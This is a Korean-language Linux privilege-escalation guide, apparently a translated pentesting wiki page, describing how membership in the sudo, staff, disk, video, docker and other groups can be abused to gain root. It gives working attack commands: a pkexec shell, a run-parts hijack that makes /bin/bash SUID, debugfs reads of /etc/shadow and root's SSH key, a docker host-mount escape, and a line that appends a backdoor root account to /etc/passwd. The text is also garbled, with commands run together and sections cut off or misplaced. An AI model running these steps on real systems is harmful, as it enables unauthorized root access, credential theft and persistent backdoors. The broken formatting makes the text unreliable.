가끔, 기본적으로 (또는 어떤 소프트웨어가 필요로 하는 경우)/etc/sudoers 파일 내에 다음과 같은 라인들을 찾을 수 있습니다:
# Allow members of group sudo to execute any command%sudoALL=(ALL:ALL) ALL# Allow members of group admin to execute any command%adminALL=(ALL:ALL) ALL
이는 sudo 또는 admin 그룹에 속한 모든 사용자가 sudo로 모든 것을 실행할 수 있다는 것을 의미합니다.
이 경우, 루트가 되려면 다음을 실행하면 됩니다:
sudo su
PE - 방법 2
모든 suid 이진 파일을 찾아 이진 파일 Pkexec이 있는지 확인하십시오:
find/-perm-40002>/dev/null
만약 pkexec 바이너리가 SUID 바이너리이고 sudo 또는 admin 그룹에 속해 있다면, pkexec를 사용하여 바이너리를 sudo 권한으로 실행할 수 있습니다.
일반적으로 이러한 그룹들이 polkit 정책 내에 포함되어 있기 때문입니다. 이 정책은 주로 어떤 그룹이 pkexec를 사용할 수 있는지 식별합니다. 다음 명령어로 확인할 수 있습니다:
cat/etc/polkit-1/localauthority.conf.d/*
다음은 어떤 그룹이 pkexec를 실행할 수 있는지 및 기본적으로 일부 리눅스 배포판에서 sudo 및 admin 그룹이 나타나는지 확인할 수 있습니다.
루트로 전환하려면 실행할 수 있습니다:
pkexec"/bin/sh"#You will be prompted for your user password
만약 pkexec를 실행하려고 시도하고 다음 오류가 발생한다면:
polkit-agent-helper-1: error response to PolicyKit daemon: GDBus.Error:org.freedesktop.PolicyKit1.Error.Failed: No session for cookie
====AUTHENTICATIONFAILED===Errorexecutingcommandasanotheruser:Notauthorized
staff: 사용자가 루트 권한이 필요하지 않고 시스템 (/usr/local)에 로컬 수정 사항을 추가할 수 있게 합니다 (/usr/local/bin에 있는 실행 파일은 모든 사용자의 PATH 변수에 있으며, 동일한 이름의 /bin 및 /usr/bin에 있는 실행 파일을 "덮어쓸" 수 있습니다). 모니터링/보안과 관련된 "adm" 그룹과 비교하십시오. [원본]
데비안 배포판에서 $PATH 변수는 특권 사용자 여부에 관계없이 /usr/local/이 가장 높은 우선순위로 실행됨을 보여줍니다.
# 0x1 Add a run-parts script in /usr/local/bin/$vi/usr/local/bin/run-parts#! /bin/bashchmod4777/bin/bash# 0x2 Don't forget to add a execute permission$chmod+x/usr/local/bin/run-parts# 0x3 start a new ssh sesstion to trigger the run-parts program# 0x4 check premission for `u+s`$ls-la/bin/bash-rwsrwxrwx1rootroot1099016May152017/bin/bash# 0x5 root it$/bin/bash-p
디스크 그룹
이 권한은 거의 루트 액세스와 동등하며 기계 내의 모든 데이터에 액세스할 수 있습니다.
파일: /dev/sd[a-z][1-9]
df-h#Find where "/" is mounteddebugfs/dev/sda1debugfs:cd/rootdebugfs:lsdebugfs:cat/root/.ssh/id_rsadebugfs:cat/etc/shadow
주의: debugfs를 사용하여 파일을 작성할 수도 있습니다. 예를 들어 /tmp/asd1.txt를 /tmp/asd2.txt로 복사하려면 다음을 수행할 수 있습니다:
tty1은 사용자 yossi가 머신의 터미널에 물리적으로 로그인되어 있는 것을 의미합니다.
video 그룹은 화면 출력을 볼 수 있는 권한을 갖고 있습니다. 기본적으로 화면을 관찰할 수 있습니다. 이를 위해서는 화면의 현재 이미지를 원시 데이터로 캡처하고 화면이 사용 중인 해상도를 얻어야 합니다. 화면 데이터는 /dev/fb0에 저장될 수 있으며, 이 화면의 해상도는 /sys/class/graphics/fb0/virtual_size에서 찾을 수 있습니다.
원본 이미지를 열려면GIMP를 사용할 수 있습니다. **screen.raw ** 파일을 선택하고 파일 유형으로 Raw image data를 선택하십시오:
그런 다음 너비와 높이를 화면에서 사용하는 값으로 수정하고 다양한 이미지 유형을 확인하십시오 (화면을 더 잘 보여주는 것을 선택하십시오):
루트 그룹
기본적으로 루트 그룹의 구성원은 일부 서비스 구성 파일이나 라이브러리 파일 또는 권한 상승에 사용될 수 있는 기타 흥미로운 것들을 수정할 수 있는 것으로 보입니다...
루트 구성원이 수정할 수 있는 파일을 확인하십시오:
find/-grouproot-perm-g=w2>/dev/null
도커 그룹
호스트 머신의 루트 파일 시스템을 인스턴스의 볼륨에 마운트할 수 있으므로 인스턴스가 시작되면 해당 볼륨에 chroot가 즉시 로드됩니다. 이로써 머신에서 root 액세스를 얻을 수 있습니다.
dockerimage#Get images from the docker service#Get a shell inside a docker container with access as root to the filesystemdockerrun-it--rm-v/:/mnt<imagename>chroot/mntbash#If you want full access from the host, create a backdoor in the passwd fileecho'toor:$1$.ZcF5ts0$i4k6rQYzeegUkacRCvfxC0:0:0:root:/root:/bin/sh'>>/etc/passwd#Ifyou just want filesystem and network access you can startthe following container:dockerrun--rm-it--pid=host--net=host--privileged-v/:/mnt<imagename>chroot/mntbashbash
lxc/lxd 그룹
일반적으로 adm 그룹의 구성원은 /var/log/ 내에 있는 로그 파일을 읽을 수 있는 권한을 가지고 있습니다.
따라서, 이 그룹 내의 사용자를 침해했다면 로그를 확인해야 합니다.